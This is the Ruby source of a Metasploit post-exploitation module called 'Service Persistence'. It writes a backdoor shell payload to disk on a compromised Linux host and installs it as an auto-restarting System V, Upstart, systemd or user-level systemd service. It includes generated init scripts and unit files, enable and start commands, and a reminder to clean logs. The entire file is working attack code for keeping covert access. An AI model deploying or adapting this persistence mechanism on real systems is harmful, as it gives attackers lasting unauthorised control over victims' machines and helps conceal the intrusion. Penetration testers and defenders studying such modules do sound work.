##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Post::Unix
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name'           => 'Service Persistence',
        'Description'    => %q(
          This module will create a service on the box, and mark it for auto-restart.
          We need enough access to write service files and potentially restart services
          Targets:
            System V:
              CentOS <= 5
              Debian <= 6
              Kali 2.0
              Ubuntu <= 9.04
            Upstart:
              CentOS 6
              Fedora >= 9, < 15
              Ubuntu >= 9.10, <= 14.10
            systemd:
              CentOS 7
              Debian >= 7, <=8
              Fedora >= 15
              Ubuntu >= 15.04
          Note: System V won't restart the service if it dies, only an init change (reboot etc) will restart it.
        ),
        'License'        => MSF_LICENSE,
        'Author'         =>
          [
            'h00die <mike@shorebreaksecurity.com>',
            'Cale Black' # systemd user target
          ],
        'Platform'       => ['unix', 'linux'],
        'Targets'        =>
          [
            ['Auto', 'DefaultOptions' =>
              {
                'SHELLPATH' => '/usr/local/bin'
              }
            ],
            ['System V', :runlevel => '2 3 4 5', 'DefaultOptions' =>
              {
                'SHELLPATH' => '/usr/local/bin'
              }
            ],
            ['Upstart', :runlevel => '2345', 'DefaultOptions' =>
              {
                'SHELLPATH' => '/usr/local/bin'
              }
            ],
            ['systemd', 'DefaultOptions' =>
              {
                'SHELLPATH' => '/usr/local/bin'
              }
            ],
            ['systemd user', 'DefaultOptions' =>
              {
                'SHELLPATH' => '/tmp'
              }
            ]
          ],
        'DefaultTarget'  => 0,
        'Arch'           => ARCH_CMD,
        'References'     =>
          [
            ['URL', 'https://www.digitalocean.com/community/tutorials/how-to-configure-a-linux-service-to-start-automatically-after-a-crash-or-reboot-part-1-practical-examples']
          ],
        'Payload'        =>
        {
          'Compat'     =>
          {
            'PayloadType'  => 'cmd',
            'RequiredCmd'  => 'python netcat' # we need non-threaded/forked so the systems properly detect the service going down
          }
        },
        'DefaultOptions' =>
          {
            'WfsDelay' => 5
          },
        'DisclosureDate' => '1983-01-01', # system v release date
      )
    )

    register_options(
      [
        OptPath.new('SHELLPATH', [true, 'Writable path to put our shell', '/usr/local/bin']),
        OptString.new('SHELL_NAME', [false, 'Name of shell file to write']),
        OptString.new('SERVICE', [false, 'Name of service to create'])
      ]
    )
    register_advanced_options(
      [
        OptBool.new('EnableService', [true, 'Enable the service', true])
      ]
    )
  end

  def exploit
    backdoor = write_shell(datastore['SHELLPATH'])
    if backdoor.nil?
      return
    end
    path = backdoor.split('/')[0...-1].join('/')
    file = backdoor.split('/')[-1]
    case target.name
    when 'System V'
      system_v(path, file, target.opts[:runlevel], service_system_exists?('update-rc.d'))
    when 'Upstart'
      upstart(path, file, target.opts[:runlevel])
    when 'systemd'
      systemd(path, file)
    when 'systemd user'
      systemd_user(path, file)
    else
      if service_system_exists?('systemctl')
        print_status('Utilizing systemd')
        systemd(path, file)
      end
      if service_system_exists?('initctl')
        print_status('Utilizing Upstart')
        upstart(path, file, '2345')
      end
      has_updatercd = service_system_exists?('update-rc.d')
      if has_updatercd || service_system_exists?('chkconfig') # centos 5
        print_status('Utilizing System_V')
        system_v(path, file, '2 3 4 5', has_updatercd)
      else
        print_error('Unable to detect service system')
        register_file_for_cleanup(backdoor)
      end
    end
  end

  def service_system_exists?(command)
    service_cmd = cmd_exec("which #{command}")
    !(service_cmd.empty? || service_cmd.include?('no'))
  end

  def write_shell(path)
    file_name = datastore['SHELL_NAME'] ? datastore['SHELL_NAME'] : Rex::Text.rand_text_alpha(5)
    backdoor = "#{path}/#{file_name}"
    vprint_status("Writing backdoor to #{backdoor}")
    write_file(backdoor, payload.encoded)
    if file_exist?(backdoor)
      cmd_exec("chmod 711 #{backdoor}")
      backdoor
    else
      print_error('File not written, check permissions.')
      return
    end
  end

  def systemd(backdoor_path, backdoor_file)
    # https://coreos.com/docs/launching-containers/launching/getting-started-with-systemd/
    script = %{[Unit]
Description=Start daemon at boot time
After=
Requires=
[Service]
RestartSec=10s
Restart=always
TimeoutStartSec=5
ExecStart=/bin/sh #{backdoor_path}/#{backdoor_file}
[Install]
WantedBy=multi-user.target}

    service_filename = datastore['SERVICE'] ? datastore['SERVICE'] : Rex::Text.rand_text_alpha(7)
    service_name = "/lib/systemd/system/#{service_filename}.service"
    vprint_status("Writing service: #{service_name}")
    write_file(service_name, script)
    if !file_exist?(service_name)
      print_error('File not written, check permissions.')
      return
    end
    if datastore['EnableService']
      vprint_status('Enabling service')
      cmd_exec("systemctl enable #{service_filename}.service")
    end
    vprint_status('Starting service')
    cmd_exec("systemctl start #{service_filename}.service")
  end

  def systemd_user(backdoor_path, backdoor_file)
    script = <<~EOF
      [Unit]
      Description=Start daemon at boot time
      After=
      Requires=
      [Service]
      RemainAfterExit=yes
      RestartSec=10s
      Restart=always
      TimeoutStartSec=5
      ExecStart=/bin/sh #{backdoor_path}/#{backdoor_file}
      [Install]
      WantedBy=default.target
    EOF
    service_filename = datastore['SERVICE'] ? datastore['SERVICE'] : Rex::Text.rand_text_alpha(7)

    home = cmd_exec('echo ${HOME}')
    vprint_status("Creating user service directory")
    cmd_exec("mkdir -p #{home}/.config/systemd/user")

    service_name = "#{home}/.config/systemd/user/#{service_filename}.service"
    vprint_status("Writing service: #{service_name}")

    write_file(service_name, script)

    if !file_exist?(service_name)
      print_error('File not written, check permissions. Attempting secondary location')
      vprint_status("Creating user secondary service directory")
      cmd_exec("mkdir -p #{home}/.local/share/systemd/user")

      service_name = "#{home}/.local/share/systemd/user/#{service_filename}.service"
      vprint_status("Writing .local service: #{service_name}")
      write_file(service_name, script)

      if !file_exist?(service_name)
        print_error('File not written, check permissions.')
        return
      end
    end

    # This was taken from pam_systemd(8)
    systemd_socket_id = cmd_exec('id -u')
    systemd_socket_dir = "/run/user/#{systemd_socket_id}"
    vprint_status('Reloading manager configuration')
    cmd_exec("XDG_RUNTIME_DIR=#{systemd_socket_dir} systemctl --user daemon-reload")

    if datastore['EnableService']
      vprint_status('Enabling service')
      cmd_exec("XDG_RUNTIME_DIR=#{systemd_socket_dir} systemctl --user enable #{service_filename}.service")
    end

    vprint_status("Starting service: #{service_filename}")
    # Prefer restart over start, as it will execute already existing service files
    cmd_exec("XDG_RUNTIME_DIR=#{systemd_socket_dir} systemctl --user restart #{service_filename}")
  end

  def upstart(backdoor_path, backdoor_file, runlevel)
    # http://blog.terminal.com/getting-started-with-upstart/
    script = %{description \"Start daemon at boot time\"
start on filesystem or runlevel [#{runlevel}]
stop on shutdown
script
    cd #{backdoor_path}
    echo $$ > /var/run/#{backdoor_file}.pid
    exec #{backdoor_file}
end script
post-stop exec sleep 10
respawn
respawn limit unlimited}

    service_filename = datastore['SERVICE'] ? datastore['SERVICE'] : Rex::Text.rand_text_alpha(7)
    service_name = "/etc/init/#{service_filename}.conf"
    vprint_status("Writing service: #{service_name}")
    write_file(service_name, script)
    if !file_exist?(service_name)
      print_error('File not written, check permissions.')
      return
    end
    vprint_status('Starting service')
    cmd_exec("initctl start #{service_filename}")
    vprint_status("Dont forget to clean logs: /var/log/upstart/#{service_filename}.log")
  end

  def system_v(backdoor_path, backdoor_file, runlevel, has_updatercd)
    if has_updatercd
      print_status('Utilizing update-rc.d')
    else
      print_status('Utilizing chkconfig')
    end
    script = %{#!/bin/sh
### BEGIN INIT INFO
# Provides: service
# Required-Start: $network
# Required-Stop: $network
# Default-Start:     #{runlevel}
# Default-Stop:      0 1 6
# Short-Description: Start daemon at boot time
# Description:       Enable service provided by daemon.
### END INIT INFO
dir=\"#{backdoor_path}\"
cmd=\"#{backdoor_file}\"
name=`basename $0`
pid_file=\"/var/run/$name.pid\"
stdout_log=\"/var/log/$name.log\"
stderr_log=\"/var/log/$name.err\"
get_pid() {
    cat \"$pid_file\"
}
is_running() {
    [ -f \"$pid_file\" ] && ps `get_pid` > /dev/null 2>&1
}
case \"$1\" in
    start)
    if is_running; then
        echo \"Already started\"
    else
        echo \"Starting $name\"
        cd \"$dir\"
}

    if has_updatercd
      script << "        sudo $cmd >> \"$stdout_log\" 2>> \"$stderr_log\" &\n"
    else # CentOS didn't like sudo or su...
      script << "        $cmd >> \"$stdout_log\" 2>> \"$stderr_log\" &\n"
    end
    script << %{        echo $! > \"$pid_file\"
        if ! is_running; then
            echo \"Unable to start, see $stdout_log and $stderr_log\"
            exit 1
        fi
    fi
    ;;
    stop)
    if is_running; then
        echo -n \"Stopping $name..\"
        kill `get_pid`
        for i in {1..10}
        do
            if ! is_running; then
                break
            fi
            echo -n \".\"
            sleep 1
        done
        echo
        if is_running; then
            echo \"Not stopped; may still be shutting down or shutdown may have failed\"
            exit 1
        else
            echo \"Stopped\"
            if [ -f \"$pid_file\" ]; then
                rm \"$pid_file\"
            fi
        fi
    else
        echo \"Not running\"
    fi
    ;;
    restart)
    $0 stop
    if is_running; then
        echo \"Unable to stop, will not attempt to start\"
        exit 1
    fi
    $0 start
    ;;
    status)
    if is_running; then
        echo \"Running\"
    else
        echo \"Stopped\"
        exit 1
    fi
    ;;
    *)
    echo \"Usage: $0 {start|stop|restart|status}\"
    exit 1
    ;;
esac
exit 0}

    service_filename = datastore['SERVICE'] ? datastore['SERVICE'] : Rex::Text.rand_text_alpha(7)
    service_name = "/etc/init.d/#{service_filename}"
    vprint_status("Writing service: #{service_name}")
    write_file(service_name, script)
    if !file_exist?(service_name)
      print_error('File not written, check permissions.')
      return
    end
    cmd_exec("chmod 755 #{service_name}")
    vprint_status('Enabling & starting our service')
    if has_updatercd
      cmd_exec("update-rc.d #{service_filename} defaults")
      cmd_exec("update-rc.d #{service_filename} enable")
      if file_exist?('/usr/sbin/service') # some systems have update-rc.d but not service binary, have a fallback just in case
        cmd_exec("service #{service_filename} start")
      else
        cmd_exec("/etc/init.d/#{service_filename} start")
      end
    else # CentOS
      cmd_exec("chkconfig --add #{service_filename}")
      cmd_exec("chkconfig #{service_filename} on")
      cmd_exec("/etc/init.d/#{service_filename} start")
    end
  end
end
